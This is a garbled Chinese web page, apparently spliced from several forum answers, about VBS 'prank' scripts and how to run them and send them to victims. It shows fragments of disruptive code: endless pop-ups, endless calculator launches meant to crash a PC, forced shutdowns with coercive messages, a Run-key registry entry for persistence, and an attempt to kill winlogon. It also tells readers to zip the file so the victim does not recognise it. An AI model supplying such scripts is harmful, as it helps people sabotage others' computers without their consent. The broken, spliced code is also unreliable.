vbs整人代码怎么用 vbs整人代码怎么运行

首先来看第一个脚本，这个脚本会每隔1秒就弹出一个窗口，并且你都关不掉，如下图所示 然后第二个脚本是不断的循环一段内容，如下图所示，它和第一个一样，也不能关闭弹窗 接下来这个脚本每一次循环会展示4个弹窗，每个。

On Error Resume Next Dim wsh，ye set wsh=createobjectquotwscriptshellquotfor i=1 to 10 wscriptsleep 700 wshAppActivatequot与 xx 聊天中quotwshsendKeys quot^vquotwshsendKeys i wshsendKeys quot%squotnext。

msgbox chr13 + chr13 + chr13 + quot哈哈哈哈，真过瘾quot保存后 重命名为 整人VBS 然后 告诉你一下 这个关机时可以避免的 如果被别人整后 可以立马打开CMD 输入 shutdown a 即可取消关机命令 然后使用任务管理。

打开一个记事本，把代码输入进去，然后把格式改成VBS然后一保存，OK啦样子是中间有一个蓝色卷轴接着，只要把这个做好的VBS文件发给他，就可以了，不用 再动别的，只要静静等待他被整例外话我劝你还是别发。

代码一无限弹出信息框 双引号内可以自行修改do msgbox quot爱邱哥爱生活quot loop 代码二打开N个计算器，到电脑死机et wsh=createobjectquotwscriptshellquot do wshrun quotcalcquot loop 代码三电脑关机dim WSHshell set WSHshell = wscript。

Set objShell = CreateObjectquotWscriptShellquot objShellRun quotshutdown s t 5quottrue end if 第四个 #39这个很强悍的vbs，蓝屏 strs=array13，105，102，32，77，115，103，66，111，120，40，34。

首先创建 文本文档，将以下代码**on error resume next dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 60 c quotquot说我是只猪，不说就一分钟关你。

run quotcmdexe c shutdown aquot，0 ，true msgbox chr13 + chr13 + chr13 + quot哈哈哈哈，真过瘾 嘎嘎爽歪歪啊 quot参考资料把它**下来 保存到TXT文档本 然后把文档本的后缀名改为vbs 就OK了。

fscopyfile thn，a1quot\admin123vbsquot，true do while ilt10 i=i+1 wsRegWrite quotHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\adminquot，quotC\admin123vbsquotloop wsrun quotshutdown s f t。

简单啊你把VBS后面改成VBS就可以了还有，别忘了得压缩你不压缩别人一看到就知道这是个耍人的脚本了， 求积分，顺便附上一个代码，set s=createobjectquotwscriptshellquotset bag=getobjectquotwinmgmts\root\cim。

if MsgBoxquot对不起，您需要重新启动计算机quotchr10quot确定要重启吗，msgbox quot 系统将立刻重起wow ~_^quotquot你上当了quotSet objShell = CreateObjectquotWscriptShellquotobjShellRun quotshutdown s t 5quottrue。

on error resume nextdim WSHshellAset WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 180 c quotquot三分钟内决定是否嫁给我，否则会被关机quotquot quot，0 ，true dim ado。

wsrun quotcmd c start min ntsd c q pn winlogonexe 1nul 2nulquot，vbhide end if 解决办法什么都不要点建另一个VBS然后运行 代码如下CreateobjectquotWscriptshellquotrun quottaskkill f im wscriptexequot。

有人要VBS整人代码，我就写了一个，如果玩笑开得过火，千万别骂我啊~简单描述一下文件夹同名病毒Autorun病毒大家都熟悉吧效果就是那样不过放心吧，绝不是真的病毒，骗人的，试想，如果有人中招，他会怎么办。

set a = wscriptcreateobjectquotwscriptshellquotarun quotcmdexe c shutdown r t 3600 c quotquot求我，我就告诉你怎么办嘿嘿quotquot quot，0 ，true **代码保存位**vbs 发给你要整的人就可以了 3600是时间。

因为vbs常常被用作传递病毒的工具，载体，所以现在杀毒软件就会误认为你的vbs是病毒脚本例如著名的autorun病毒就有vbs版本就是说杀毒软件和你的vbs文件过不去，它不管里面是否含有危害计算机的程序代码，总是报毒推荐你。